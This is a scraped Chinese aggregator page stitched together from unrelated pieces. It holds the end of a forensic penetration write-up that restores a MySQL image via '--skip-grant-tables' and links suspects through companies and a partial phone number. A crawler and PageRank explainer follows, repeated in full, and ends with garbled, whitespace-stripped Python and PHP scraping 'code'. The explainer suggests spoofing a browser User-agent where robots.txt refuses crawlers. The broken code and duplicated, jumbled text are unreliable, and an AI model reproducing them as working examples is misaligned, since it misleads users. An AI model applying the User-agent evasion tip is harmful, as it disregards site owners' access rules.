  过程比较曲折,有种三起三落的感觉,好在最终不辱使命。从战术上来讲,针对targetA平台,先是全面战争,再是收缩战线,最后逐一击破。最重要的还是信息收集这个环节。前期收集的信息足够多,后续收缩战线时候才能发挥到极致,比如组合字典那环节。通过最后几天的渗透摸排,得出大概如下架构:
  
  大约6台WEB服务器,两台MySQL数据库,其中94是阿里数据库实例。
  第十节 手工仿真数据库及证据链分析
  想必作为公众号 信息时代的犯罪侦查 常年只看、不打赏还总白嫖的老看官,众所周知关于计算机取证方面最重要的要素之一就是完整性,因此先森取证时候并未直接down回元数据而是采取了数据库镜像的方式来保证这一点。那么问题随之而来了,后期如何在保证数据在不被修改的情况下将取回的数据库本地还原起来呢?其实这个过程操作的主要要点跟操作系统方面仿真一样,无非是架设起来环境和修改密码。
  一、确定MySQL版本号。
  原始数据库的环境是运行在Linux下的,先森比较懒惰,处于方便操作及安装调试方面的考虑,选择在Windows Server2008上还原数据库。将解压完的数据库镜像文件夹重命名为DATA,案例中是在xtrabackup_info文件夹中找到的数据库版本信息,如图 10-1所示。
  
  实在找不到版本号的情况下可以选择在要取证的服务器上输入mysql –v来查看或者根据建库时间来推数据库的版本。
  打开Oracle公司旗下的MySQL的历史版本发布网站 (由于众所周知的原因,访问外文网站可能较慢, 建议在不违反法律的情况下使用Proxy进行下载),根据需求选择合适的版本下载。
  
  二、配置数据库并复制数据。
  由于我们下载的MySQL是“绿色版”,因此需要对其进行简单的配置来确保数据库能够运行起来。将程序根目录的my-default.ini重命名为my.ini,接着按照注释内容指定好路径即可。这里我并未将存放元数据的文件夹放入到MySQL根路径下,有强迫症的朋友还原数据库的时候可以覆盖过去,最主要就是my.ini中的路径一定要配置正确。 参考图 10 -2
  
  三、安全模式启动数据库并手动修改密码。
  打开命令行并跳转到MySQL的bin目录下,执行命令“mysqld.exe --skip-grant-tables”,意思是启动数据库时跳过权限表,类似我们Linux取证时候的单用户模式。
  
  这时候MySQL的进程就自动进入后台了,接着在终端下启动新的进程mysql.exe,执行命令“mysql.exe –uroot –p”进入到数据库中。在终端中输入”show databases;”来确认数据库还原情况,通过下图可以看到数据库已还原起来。
  
  最后在MySQL中执行修改密码命令” update user set password=password('root') where user='root';”,下次登录数据库时候就可以使用该密码登录了,启动MySQL时去掉--skip-grant-tables参数即可,或者将其加入到服务中,跟随系统启动。
  
  下次登录MySQL时候只需要使用“mysql.exe –uroot -p”,在接下来的提示符中输入密码root即可登录进数据库。
  关于本案的证据链关联方面的分析:
  (以下内容太多涉及到涉案关键字,已作出大量删减,因影响阅读,请各位谅解)
  测试开发服务器的所有者隶属于 companyB 公司:
  
  而早期侦察的结果是,的开发是 “companyC”提供的,而这个“companyC”又是隶属于 company 的。网站代码里曾经多次出现过有关“companyC”的注释、链接等。
  targetB的线索:
  ********的公司的法人曾是 S某,后经过变更改为 L某。
  通过检索发现,S某 还有一家名为 “companyD”的公司,同样跟targetA有千丝万缕的联系。
  其次 S某 的手机号曾经出现在 张** 的录制视频里,我们有理由相信他们是认识的,甚至可能是合作关系或者同事关系。
  其中民警通过内网系统的反馈,尾号为2227的手机号机主就是S某。
  综合所有线索,大胆推测:targetA的开发者是 companyB,除了已有的线索外,他公司还有一个特点就是专门开发与涉案相关的产品,甚至有可能还是幕后推手;后来targetA为了壮大规模,推出了一款名为“targetB”的APP,开发者是来自**(某地区)的companyA公司。根据两个月提取的数据库日志来看,后台管理员活跃的几个地点如下:北京、山东、江苏;其中targetA的后台管理员活跃地为江苏,targetB的则是山东和北京。
  是为结局。
  【编者注】文中提到所有的企业,如天眼查,本号没有收取他们任何费用支持,特此声明。

大数据时代,如何搜集有效数据?

网站优化优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-06-17 20:13 • 来自相关话题

  大数据时代,如何搜集有效数据?
  在上一篇文章(《大数据时代,参数怎么降维?》)[1]中,小编从阿尔兹海默症成病机理出发,提到了如何对模型参数降维的问题。我们先来复(Yù)习(Xí)一下那张图表:
  
  经过复(Yù)习(Xí)后,这张图似乎不再那么催人入眠了!不仅如此,而且我们可以使用信息几何,这一自内而外散发着高格调的技术,达到参数降维的目的。正所谓——
  一声惊雷划冬去,两鸣鸿雁游春来。
  三月桃花映山红,四处玉兰拟雪白。
  五味醇酿温心海,六色晨光覆阴霾。
  七刻余晖寓暖阳,八方云动照英才。
  冬去春来,良辰美景,更何况突然有了解决难题的思路,心情大好,正该不醉不归!但回头仔细一想,读者们会发现还有另一个大问题——数据从什么地方得来呢?巧妇难为无米之炊,就算理论算法再高屋建瓴天花乱坠,若没有实验数据的支持,那也无异于纸上谈兵。大数据时代,信息(数据)的搜集可是极其重要的。信息(数据)通常来源于网络,而如何过滤掉无用的数据,提取有效成分,这也是公认的难题。下图是一个例子:
  
  提取有效信息的过程
  因此提取有效数据的关键在于准确地抓住信息的特点,或者关键词(keywords)。当我们把关键词输入到搜索引擎(百度、谷歌等)后,这些搜索引擎就会以一定的优先级返回我们想要的信息。那么搜索引擎是怎么展开搜索的呢?答案:网络爬虫或者网络蜘蛛(web crawler或web spider,以下简称爬虫)。
  一、网页的本质
  网是静态的,但爬虫是动态的,所以爬虫的基本思想就是沿着网页(蜘蛛网的节点)上的链接的爬取有效信息。当然网页也有动态(一般用PHP或ASP等写成,例如用户登陆界面就是动态网页)的,但如果一张蛛网摇摇欲坠,蜘蛛会感到不那么安稳,所以动态网页的优先级一般会被搜索引擎排在静态网页的后面。
  知道了爬虫的基本思想,那么具体如何操作呢?这得从网页的基本概念说起(本文只讨论静态网页)。一个网页有三大构成要素,分别是html文件、css文件和JavaScript文件。如果把一个网页看做一栋房子,那么html相当于房子外壳;css相当于地砖涂料,美化房子外观内饰;JavaScript则相当于家具电器浴池等,增加房子的功能。从上述比喻可以看出,html才是网页的根本,毕竟地砖颜料在市场上也有,家具电器都可以露天摆设,而房子外壳才是独一无二的。
  下面就是一个简单网页的例子:
  
  而在爬虫眼里,这个网页是这样的:
  因此网页实质上就是超文本(hypertext),网页上的所有内容都是在形如“...”这样的标签之内的。如果我们要搜集网页上的所有超链接,只需寻找所有标签中前面是"href="的字符串,并查看提取出来的字符串是否以"http"(超文本转换协议,https表示安全的http协议)开头即可。如果超链接不以"http"开头,那么该链接很可能是网页所在的本地文件或者ftp或smtp(文件或邮件转换协议),应该过滤掉。
  二、爬虫实例
  既然知道了网页的本质,相信读者们已经跃跃欲试了。为了使读者更好地理解爬虫的工作原理,小编将用两种方式编写一个最简单的爬虫,用以获取谷歌首页上的所有超链接(以或开头,过滤掉本地文件),并把它们存到电子表格(Excel)中。
  从第一节的分析可以看出,超链接出现在标签"... "中,所以我们只需要匹配关键词"href="即可。考虑到python是最简单且使用最广泛的多用途语言,小编以python 3.6版本为例写了如下爬虫,详细注解都在图片中,有兴趣的读者可以亲自尝试,看看会出来什么结果:
  如果采用过程式编写思路,代码还会更短一些。为图简单,小编没有使用异常处理手段(Exceptional Handling,一般指try-exception语句,或者条件语句加flag值),这种语句可以用于检查网络链接是否异常、搜集文件的过程是否成功甚至本地文件读写是否正常等。这种手段常常被经常做计算机模拟的科研工作者忽视,以至于当小编把自己写的程序和一些教授讨论时,常常被评论说我的程序“很花哨,没必要写得像商业程序”。尽管这种手段并非必须,但经小编大量实践后发现,当编写的代码过长时,这种手段实则可以有效提高程序查错(debug)的效率。尤其是在计算机模拟中,程序中的bug经常来自于内存错误(数组长度溢出、指针错误等),若不采用异常处理手段,这种bug会非常棘手。就像恋爱中的少女一样,因内存错误造成的程序崩溃可以发生在任意时刻任意地点,全由计算机的心情而定。
  或许不了解编程读者会表示异议:“这代码有足足32行,哪里简单了!”其实去掉空行和评论后也就21行,也不算太多。什么,还嫌多?好吧,为了造福更多读者,也为了让大家感受一下21世纪之前的程序员前辈们是如何码代码的,小编又用Unix的外壳脚本(shell script)把这个爬虫重新写了一遍,并命名为"crawler.sh"。同样,详细注释尽在图中(这是所有Unix系统都有的emacs文档编辑器):
  从21行简化到只有8行!执行后,得到的电子表格内容是这样的:
  如果经过了尝试和对比,读者可以发现使用外壳脚本比python多搜集了很多网址,而且还去掉了重复的链接。这是因为“wget”命令不仅搜集了谷歌主页面上的所有链接,而且直接把谷歌根目录里能访问到的文件全都爬了个遍。有了这一项技术,我们可以大大丰富电脑E盘中“三个代表重要思想”、“党章党规全集”和“日本现代史研究”等文档的内容,从而精神境界得到极大提高。
  有经验的读者可能注意到了,小编明明用的是Windows系统的命令指示符(cmd),又没有安装虚拟机,怎么变成了Unix的外壳脚本呢?从历史角度来讲,Unix和Windows完全是两个不同派系,两者理应是互不兼容的。但事实上2015年自Win10发布以后,微软官方就宣布Win10可以很简易地安装苹果的终端(苹果OS系统是Unix系统的一个分支,具体方式见文献[2]),并通过“bash”命令实现从cmd到苹果终端的转变,从此告别了Unix虚拟机的时代!值得一提的是,vim文档编译器可以在Windows下直接使用;emacs由于功能较多,需要输入“sudo apt-get install emacs”命令来安装。
  
  值得一提的是,因为习惯原因,很多人根深蒂固地认为Windows系统更适合家用,Unix系统才适合程序员。其实时代一直在变化,微软集团也在不断地对Windows系统进行改进,一方面更好地兼容Unix体系,另一方面则开发更为先进的外壳平台。例如Powershell就是一个很好的例子。小编试着用过Powershell,它的一些语句和Unix外壳脚本颇为类似,同时也支持对象的定义,而且还有和编程语言一样的高度可读性。只是对于习惯了Unix外壳的程序员而言,Powershell可能显得不那么熟悉。
  回到爬虫的话题。经过两种方式的对比,我们可以发现外壳脚本的巨大优势——可以与计算机硬件直接交流,这就是为什么程序调试员往往对外壳脚本(或汇编语言)滚瓜烂熟的原因。当然作为多用途式的编程语言,python的其他优势也不是外壳脚本所具有的。在什么场合使用何种语言,这个判断十分重要。
  三、守规矩的爬虫才是好爬虫
  当一个爬虫活动过于频繁时,会造成网络交通堵塞,因此一些网站很反感陌生的爬虫。怎么样限制陌生爬虫的行为呢?答案就在目标网站根目录的"robot.txt"文件里面,这个文件规定了爬虫应该遵守的条款。当正常的爬虫开始爬取网页信息时,会首先检查robot.txt的规定并且遵守它。例如百度的robot.txt是这样的:
  可见百度只允许少数几个搜索引擎访问,所以直接用第二节的方法爬取百度首页是会被拒绝的。如果确实有批量作业的必要,则应该把爬虫的“User-agent”改为上述任一浏览器的字符串,以模仿浏览器访问的过程,并且限定爬虫的活动频率。
  有的坏爬虫(Bad bots)直接无视掉robot.txt里的约束,肆无忌惮地爬取网页信息,不仅可能造成网络瘫痪,还会出现安全隐患。如何过滤掉这些爬虫,是网络安全领域的一大课题,尤其是高级的爬虫会使用分布式技术(多个客户端分别爬取网页,用以防止IP被查封)和抓取AJAX(用以模仿JavaScript以爬取动态网页)等,这就使得反爬虫的工作变得十分具有挑战性。
  
  把坏爬虫抓出来。图片源自网络
  有趣的是,几乎每个大型网站都会有对应的robot.txt,而这些文件能在一定程度上反映出不同网站开发者的偏好。有兴趣的读者可以自行分析。
  四、完整的搜索引擎
  搜索引擎要做的当然不止普通爬虫那么简单。读者可以思考一下,当你在百度上输入关键词“谢雕英雄传”时,搜索出的结果会是“射雕英雄传”,怎么做到的呢?显然还需要文字和网页的预处理(Preporcessing)。另一方面,能匹配关键词的网页太多了,总得有个先后次序吧。这就是网页的排序(Ranking)问题[3]。
  预处理通常有三个步骤,第一是把网页中的文字编号(indexing),这样匹配关键词就变成了寻找编号的的问题;第二是关键词溯源(stemming),例如去掉“的”、“我”和标点符号等不重要符号限制;第三是提取网页中的关键信息。要记住,浏览器眼中的网页永远都是一堆代码,所以需要过滤掉标签符号、超链接和网页排版布局等冗杂信息。
  网页排序的算法有很多,不同浏览器使用的算法也有不同,但核心都是一样的——把网络看作有向图(小编在《爱因斯坦vs阿尔法狗》[4]中提到过,这里又出现了)。网页是有向图的节点,如果网页A上有指向网页B的链接,那么就形成了一条节点A到节点B的箭头,有向图就这么被产生了。
  
  可以看出,[4]中的神经网络其实只是网络的一个特例。如果一个网页(节点)的链接出现在其他很多网页上,说明这个网页很受欢迎,理应得到较高的排名。事实上我们可以把这一过程用马尔可夫链(Markov Chain)表示出来。以谷歌的PageRank算法为例[5]:
  
  由马尔科夫链的遍历性定理可知,当矩阵A满足不可约和渐进无周期条件时(irreducible和aperiodic,也就是网络连通,且当经历的链接够多时两个网页的深度只相差1),以上关于向量P(把P看作向量,分量加起来为1)的方程一定存在稳定解。稳定解(或者收敛性)是计算工作者们的最爱,因为有了稳定解以后,就可以通过迭代算法把这个稳定解找出来,从而得到网页排序!
  一帆风顺的事并没有那么多,因为用上面这一方法定义出来的A未必不可约。这就是为什么要额外加一项d,把右边这个矩阵活生生地变得不可约。这就是PageRank算法的精妙之处——看起来很简单,但简单的智慧往往可以创造出巨大的功效。这也是小编所希望追求的数学——简单,但普适性很高。
  
  PageRank大致效果。图片源自网络。
  当然,这只是最原始的PageRank算法。由于不少网站利用这一算法的特点,来千方百计增加自己的排名(例如把字体和网页背景色设置为一样的颜色以欺骗搜索引擎),谷歌也不断在更新自己的算法,以达到精准和快速两大目的。两者之间的相互较量也构成了网络领域的另一个课题,即垃圾链接和垃圾邮件的清理。其中又有很多手段,在此不一一介绍了。
  五、总结和其他
  如果读者能够读懂整篇文章,那么恭喜,你已经大体掌握了网页的本质、简单爬虫的实现和搜索引擎的工作原理这三大互联网基础知识,可以准确地搜集自己想要的数据了。比起满目琳琅的数据处理和分析手段,数据的搜集方式简单粗暴,一学就会!
  大数据时代,程序员可谓是十分吃香的行业,入门快且收入高,再多繁忙也可一笔勾销。但不同于传统学科,计算机语言的发展更新速度十分迅猛,同一种语言的不同版本都可能发生巨大的变化。例如小编在学习计算机系统的经典教材Computer Systems A programmer's Perspective(《深入理解计算机系统》)时,在线程控制(Thread Control)那一章花了不少时间,因为稍不注意就会发生内存崩溃。
  
  相信通过这幅图能找到不少同道中人
  后来发现了mpi和openmp这两个神奇的工具后,就再也没用过"Ptheread_join"(加入线程)和"Ptheread_exit"(退出线程)这些老掉牙的命令。和细胞生物学类似(在小编另一篇文章《护肤与保养》[6]中提到过),计算机语言也具有高度可变性,我们需要与时俱进,做好学习新知识的准备。
  作为新时代的弄潮儿,生物和计算机领域的人才需求量是巨大的,这两个学科之间交相辉映相辅相成,颇有几分上个世纪数学和物理相互促进共同进步的味道。它们能给21世纪带来怎样的变革?我们在拭目以待的同时,也应当做好应对各种变化的准备。古诗云:
  李杜诗篇万口传,至今已觉不新鲜。
  江山代有才人出,各领风骚数百年。
  古人尚有此等远见,更何况这个沐浴在大数据海洋中,充满了机遇与挑战的时代? 查看全部

  大数据时代,如何搜集有效数据?
  在上一篇文章(《大数据时代,参数怎么降维?》)[1]中,小编从阿尔兹海默症成病机理出发,提到了如何对模型参数降维的问题。我们先来复(Yù)习(Xí)一下那张图表:
  
  经过复(Yù)习(Xí)后,这张图似乎不再那么催人入眠了!不仅如此,而且我们可以使用信息几何,这一自内而外散发着高格调的技术,达到参数降维的目的。正所谓——
  一声惊雷划冬去,两鸣鸿雁游春来。
  三月桃花映山红,四处玉兰拟雪白。
  五味醇酿温心海,六色晨光覆阴霾。
  七刻余晖寓暖阳,八方云动照英才。
  冬去春来,良辰美景,更何况突然有了解决难题的思路,心情大好,正该不醉不归!但回头仔细一想,读者们会发现还有另一个大问题——数据从什么地方得来呢?巧妇难为无米之炊,就算理论算法再高屋建瓴天花乱坠,若没有实验数据的支持,那也无异于纸上谈兵。大数据时代,信息(数据)的搜集可是极其重要的。信息(数据)通常来源于网络,而如何过滤掉无用的数据,提取有效成分,这也是公认的难题。下图是一个例子:
  
  提取有效信息的过程
  因此提取有效数据的关键在于准确地抓住信息的特点,或者关键词(keywords)。当我们把关键词输入到搜索引擎(百度、谷歌等)后,这些搜索引擎就会以一定的优先级返回我们想要的信息。那么搜索引擎是怎么展开搜索的呢?答案:网络爬虫或者网络蜘蛛(web crawler或web spider,以下简称爬虫)。
  一、网页的本质
  网是静态的,但爬虫是动态的,所以爬虫的基本思想就是沿着网页(蜘蛛网的节点)上的链接的爬取有效信息。当然网页也有动态(一般用PHP或ASP等写成,例如用户登陆界面就是动态网页)的,但如果一张蛛网摇摇欲坠,蜘蛛会感到不那么安稳,所以动态网页的优先级一般会被搜索引擎排在静态网页的后面。
  知道了爬虫的基本思想,那么具体如何操作呢?这得从网页的基本概念说起(本文只讨论静态网页)。一个网页有三大构成要素,分别是html文件、css文件和JavaScript文件。如果把一个网页看做一栋房子,那么html相当于房子外壳;css相当于地砖涂料,美化房子外观内饰;JavaScript则相当于家具电器浴池等,增加房子的功能。从上述比喻可以看出,html才是网页的根本,毕竟地砖颜料在市场上也有,家具电器都可以露天摆设,而房子外壳才是独一无二的。
  下面就是一个简单网页的例子:
  
  而在爬虫眼里,这个网页是这样的:
  因此网页实质上就是超文本(hypertext),网页上的所有内容都是在形如“...”这样的标签之内的。如果我们要搜集网页上的所有超链接,只需寻找所有标签中前面是"href="的字符串,并查看提取出来的字符串是否以"http"(超文本转换协议,https表示安全的http协议)开头即可。如果超链接不以"http"开头,那么该链接很可能是网页所在的本地文件或者ftp或smtp(文件或邮件转换协议),应该过滤掉。
  二、爬虫实例
  既然知道了网页的本质,相信读者们已经跃跃欲试了。为了使读者更好地理解爬虫的工作原理,小编将用两种方式编写一个最简单的爬虫,用以获取谷歌首页上的所有超链接(以或开头,过滤掉本地文件),并把它们存到电子表格(Excel)中。
  从第一节的分析可以看出,超链接出现在标签"... "中,所以我们只需要匹配关键词"href="即可。考虑到python是最简单且使用最广泛的多用途语言,小编以python 3.6版本为例写了如下爬虫,详细注解都在图片中,有兴趣的读者可以亲自尝试,看看会出来什么结果:
  如果采用过程式编写思路,代码还会更短一些。为图简单,小编没有使用异常处理手段(Exceptional Handling,一般指try-exception语句,或者条件语句加flag值),这种语句可以用于检查网络链接是否异常、搜集文件的过程是否成功甚至本地文件读写是否正常等。这种手段常常被经常做计算机模拟的科研工作者忽视,以至于当小编把自己写的程序和一些教授讨论时,常常被评论说我的程序“很花哨,没必要写得像商业程序”。尽管这种手段并非必须,但经小编大量实践后发现,当编写的代码过长时,这种手段实则可以有效提高程序查错(debug)的效率。尤其是在计算机模拟中,程序中的bug经常来自于内存错误(数组长度溢出、指针错误等),若不采用异常处理手段,这种bug会非常棘手。就像恋爱中的少女一样,因内存错误造成的程序崩溃可以发生在任意时刻任意地点,全由计算机的心情而定。
  或许不了解编程读者会表示异议:“这代码有足足32行,哪里简单了!”其实去掉空行和评论后也就21行,也不算太多。什么,还嫌多?好吧,为了造福更多读者,也为了让大家感受一下21世纪之前的程序员前辈们是如何码代码的,小编又用Unix的外壳脚本(shell script)把这个爬虫重新写了一遍,并命名为"crawler.sh"。同样,详细注释尽在图中(这是所有Unix系统都有的emacs文档编辑器):
  从21行简化到只有8行!执行后,得到的电子表格内容是这样的:
  如果经过了尝试和对比,读者可以发现使用外壳脚本比python多搜集了很多网址,而且还去掉了重复的链接。这是因为“wget”命令不仅搜集了谷歌主页面上的所有链接,而且直接把谷歌根目录里能访问到的文件全都爬了个遍。有了这一项技术,我们可以大大丰富电脑E盘中“三个代表重要思想”、“党章党规全集”和“日本现代史研究”等文档的内容,从而精神境界得到极大提高。
  有经验的读者可能注意到了,小编明明用的是Windows系统的命令指示符(cmd),又没有安装虚拟机,怎么变成了Unix的外壳脚本呢?从历史角度来讲,Unix和Windows完全是两个不同派系,两者理应是互不兼容的。但事实上2015年自Win10发布以后,微软官方就宣布Win10可以很简易地安装苹果的终端(苹果OS系统是Unix系统的一个分支,具体方式见文献[2]),并通过“bash”命令实现从cmd到苹果终端的转变,从此告别了Unix虚拟机的时代!值得一提的是,vim文档编译器可以在Windows下直接使用;emacs由于功能较多,需要输入“sudo apt-get install emacs”命令来安装。
  
  值得一提的是,因为习惯原因,很多人根深蒂固地认为Windows系统更适合家用,Unix系统才适合程序员。其实时代一直在变化,微软集团也在不断地对Windows系统进行改进,一方面更好地兼容Unix体系,另一方面则开发更为先进的外壳平台。例如Powershell就是一个很好的例子。小编试着用过Powershell,它的一些语句和Unix外壳脚本颇为类似,同时也支持对象的定义,而且还有和编程语言一样的高度可读性。只是对于习惯了Unix外壳的程序员而言,Powershell可能显得不那么熟悉。
  回到爬虫的话题。经过两种方式的对比,我们可以发现外壳脚本的巨大优势——可以与计算机硬件直接交流,这就是为什么程序调试员往往对外壳脚本(或汇编语言)滚瓜烂熟的原因。当然作为多用途式的编程语言,python的其他优势也不是外壳脚本所具有的。在什么场合使用何种语言,这个判断十分重要。
  三、守规矩的爬虫才是好爬虫
  当一个爬虫活动过于频繁时,会造成网络交通堵塞,因此一些网站很反感陌生的爬虫。怎么样限制陌生爬虫的行为呢?答案就在目标网站根目录的"robot.txt"文件里面,这个文件规定了爬虫应该遵守的条款。当正常的爬虫开始爬取网页信息时,会首先检查robot.txt的规定并且遵守它。例如百度的robot.txt是这样的:
  可见百度只允许少数几个搜索引擎访问,所以直接用第二节的方法爬取百度首页是会被拒绝的。如果确实有批量作业的必要,则应该把爬虫的“User-agent”改为上述任一浏览器的字符串,以模仿浏览器访问的过程,并且限定爬虫的活动频率。
  有的坏爬虫(Bad bots)直接无视掉robot.txt里的约束,肆无忌惮地爬取网页信息,不仅可能造成网络瘫痪,还会出现安全隐患。如何过滤掉这些爬虫,是网络安全领域的一大课题,尤其是高级的爬虫会使用分布式技术(多个客户端分别爬取网页,用以防止IP被查封)和抓取AJAX(用以模仿JavaScript以爬取动态网页)等,这就使得反爬虫的工作变得十分具有挑战性。
  
  把坏爬虫抓出来。图片源自网络
  有趣的是,几乎每个大型网站都会有对应的robot.txt,而这些文件能在一定程度上反映出不同网站开发者的偏好。有兴趣的读者可以自行分析。
  四、完整的搜索引擎
  搜索引擎要做的当然不止普通爬虫那么简单。读者可以思考一下,当你在百度上输入关键词“谢雕英雄传”时,搜索出的结果会是“射雕英雄传”,怎么做到的呢?显然还需要文字和网页的预处理(Preporcessing)。另一方面,能匹配关键词的网页太多了,总得有个先后次序吧。这就是网页的排序(Ranking)问题[3]。
  预处理通常有三个步骤,第一是把网页中的文字编号(indexing),这样匹配关键词就变成了寻找编号的的问题;第二是关键词溯源(stemming),例如去掉“的”、“我”和标点符号等不重要符号限制;第三是提取网页中的关键信息。要记住,浏览器眼中的网页永远都是一堆代码,所以需要过滤掉标签符号、超链接和网页排版布局等冗杂信息。
  网页排序的算法有很多,不同浏览器使用的算法也有不同,但核心都是一样的——把网络看作有向图(小编在《爱因斯坦vs阿尔法狗》[4]中提到过,这里又出现了)。网页是有向图的节点,如果网页A上有指向网页B的链接,那么就形成了一条节点A到节点B的箭头,有向图就这么被产生了。
  
  可以看出,[4]中的神经网络其实只是网络的一个特例。如果一个网页(节点)的链接出现在其他很多网页上,说明这个网页很受欢迎,理应得到较高的排名。事实上我们可以把这一过程用马尔可夫链(Markov Chain)表示出来。以谷歌的PageRank算法为例[5]:
  
  由马尔科夫链的遍历性定理可知,当矩阵A满足不可约和渐进无周期条件时(irreducible和aperiodic,也就是网络连通,且当经历的链接够多时两个网页的深度只相差1),以上关于向量P(把P看作向量,分量加起来为1)的方程一定存在稳定解。稳定解(或者收敛性)是计算工作者们的最爱,因为有了稳定解以后,就可以通过迭代算法把这个稳定解找出来,从而得到网页排序!
  一帆风顺的事并没有那么多,因为用上面这一方法定义出来的A未必不可约。这就是为什么要额外加一项d,把右边这个矩阵活生生地变得不可约。这就是PageRank算法的精妙之处——看起来很简单,但简单的智慧往往可以创造出巨大的功效。这也是小编所希望追求的数学——简单,但普适性很高。
  
  PageRank大致效果。图片源自网络。
  当然,这只是最原始的PageRank算法。由于不少网站利用这一算法的特点,来千方百计增加自己的排名(例如把字体和网页背景色设置为一样的颜色以欺骗搜索引擎),谷歌也不断在更新自己的算法,以达到精准和快速两大目的。两者之间的相互较量也构成了网络领域的另一个课题,即垃圾链接和垃圾邮件的清理。其中又有很多手段,在此不一一介绍了。
  五、总结和其他
  如果读者能够读懂整篇文章,那么恭喜,你已经大体掌握了网页的本质、简单爬虫的实现和搜索引擎的工作原理这三大互联网基础知识,可以准确地搜集自己想要的数据了。比起满目琳琅的数据处理和分析手段,数据的搜集方式简单粗暴,一学就会!
  大数据时代,程序员可谓是十分吃香的行业,入门快且收入高,再多繁忙也可一笔勾销。但不同于传统学科,计算机语言的发展更新速度十分迅猛,同一种语言的不同版本都可能发生巨大的变化。例如小编在学习计算机系统的经典教材Computer Systems A programmer's Perspective(《深入理解计算机系统》)时,在线程控制(Thread Control)那一章花了不少时间,因为稍不注意就会发生内存崩溃。
  
  相信通过这幅图能找到不少同道中人
  后来发现了mpi和openmp这两个神奇的工具后,就再也没用过"Ptheread_join"(加入线程)和"Ptheread_exit"(退出线程)这些老掉牙的命令。和细胞生物学类似(在小编另一篇文章《护肤与保养》[6]中提到过),计算机语言也具有高度可变性,我们需要与时俱进,做好学习新知识的准备。
  作为新时代的弄潮儿,生物和计算机领域的人才需求量是巨大的,这两个学科之间交相辉映相辅相成,颇有几分上个世纪数学和物理相互促进共同进步的味道。它们能给21世纪带来怎样的变革?我们在拭目以待的同时,也应当做好应对各种变化的准备。古诗云:
  李杜诗篇万口传,至今已觉不新鲜。
  江山代有才人出,各领风骚数百年。
  古人尚有此等远见,更何况这个沐浴在大数据海洋中,充满了机遇与挑战的时代?

requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象

网站优化优采云 发表了文章 • 0 个评论 • 48 次浏览 • 2022-05-20 20:01 • 来自相关话题

  requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象
  php抓取网页数据实例代码#usestringfromurllibimportrequest#fromstringimportcontentfromurllib。requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象,等同于真正的url#对这个对象进行渲染抓取数据数据抓取打算抓取百度新闻最新的2016-9-5到2016-9-15这段时间的数据#抓取百度百科2017-9-1到2017-9-30的数据下面以2016-9-15时间段的数据作为打算的抓取模拟#模拟抓取一段时间的内容frombs4importbeautifulsoupimportre#规定模拟的url的格式为以下frombs4importetree#导入百度搜索信息流广告adsense#数据获取方式defget_data(url):#request_token:strpath='d:\\users\\administrator\\desktop\\grazing_mozilla_v12。
  0\\documents\\http'response=etree。html(request_token)base_text=etree。html(base_text)#获取和下载html源码text=etree。html(text)url=';statistics=true&search=&src='#抓取某些特定字段#请求头参数里包含需要的参数比如:user_agentparams={"user-agent":"mozilla/5。
  0(windowsnt6。1;wow64)applewebkit/537。36(khtml,likegecko)chrome/24。2724。103safari/537。36"}base_text=params["user-agent"]#这个表示返回的表示此个请求的所有有效参数base_text=base_text#返回该请求所需要的所有内容urlopen(url,headers=params)#例如模拟一个get请求forbase_textinbase_text:urlopen(url,body=base_text)#request_token:数据包含这个base_text信息的http头部字段response=etree。
  html(request_token)print('dataloading')returndata#返回下载到一个目录,image_threads,send_mail,post_image'''image_threads=[]'''#image_threads。append(trim(data))url=';filename='+url+'&message='+path+'&__bid=2222'#year_threads=[]#year_threads。
  append(path+trim(data))url=';filename='+path+'&__bid=2222'response=etree。html(response)returndata#返回格式化完之后再看看值格式response。decode('utf-8')response。encode('utf-8')response。dec。 查看全部

  requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象
  php抓取网页数据实例代码#usestringfromurllibimportrequest#fromstringimportcontentfromurllib。requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象,等同于真正的url#对这个对象进行渲染抓取数据数据抓取打算抓取百度新闻最新的2016-9-5到2016-9-15这段时间的数据#抓取百度百科2017-9-1到2017-9-30的数据下面以2016-9-15时间段的数据作为打算的抓取模拟#模拟抓取一段时间的内容frombs4importbeautifulsoupimportre#规定模拟的url的格式为以下frombs4importetree#导入百度搜索信息流广告adsense#数据获取方式defget_data(url):#request_token:strpath='d:\\users\\administrator\\desktop\\grazing_mozilla_v12。
  0\\documents\\http'response=etree。html(request_token)base_text=etree。html(base_text)#获取和下载html源码text=etree。html(text)url=';statistics=true&search=&src='#抓取某些特定字段#请求头参数里包含需要的参数比如:user_agentparams={"user-agent":"mozilla/5。
  0(windowsnt6。1;wow64)applewebkit/537。36(khtml,likegecko)chrome/24。2724。103safari/537。36"}base_text=params["user-agent"]#这个表示返回的表示此个请求的所有有效参数base_text=base_text#返回该请求所需要的所有内容urlopen(url,headers=params)#例如模拟一个get请求forbase_textinbase_text:urlopen(url,body=base_text)#request_token:数据包含这个base_text信息的http头部字段response=etree。
  html(request_token)print('dataloading')returndata#返回下载到一个目录,image_threads,send_mail,post_image'''image_threads=[]'''#image_threads。append(trim(data))url=';filename='+url+'&message='+path+'&__bid=2222'#year_threads=[]#year_threads。
  append(path+trim(data))url=';filename='+path+'&__bid=2222'response=etree。html(response)returndata#返回格式化完之后再看看值格式response。decode('utf-8')response。encode('utf-8')response。dec。

php抓取网页数据实例教程1:图片img_content属性获取地址

网站优化优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-05-16 05:06 • 来自相关话题

  php抓取网页数据实例教程1:图片img_content属性获取地址
  php抓取网页数据实例教程1:图片数据抓取百度一张图片的时候,需要用http请求,ftp传输给服务器,为了我们更方便,使用下面这种方法可以对所有图片的数据进行抓取。获取图片(含水印地址):img::img_map.xml#获取图片img_content属性获取水印地址:ps:目录和全局变量是获取图片需要的,仅供参考百度关键字的地址::传输数据抓取图片img_content:;:params{//全局变量,该变量后面会跟一个参数$trig_url,该参数保存上图数据的url。
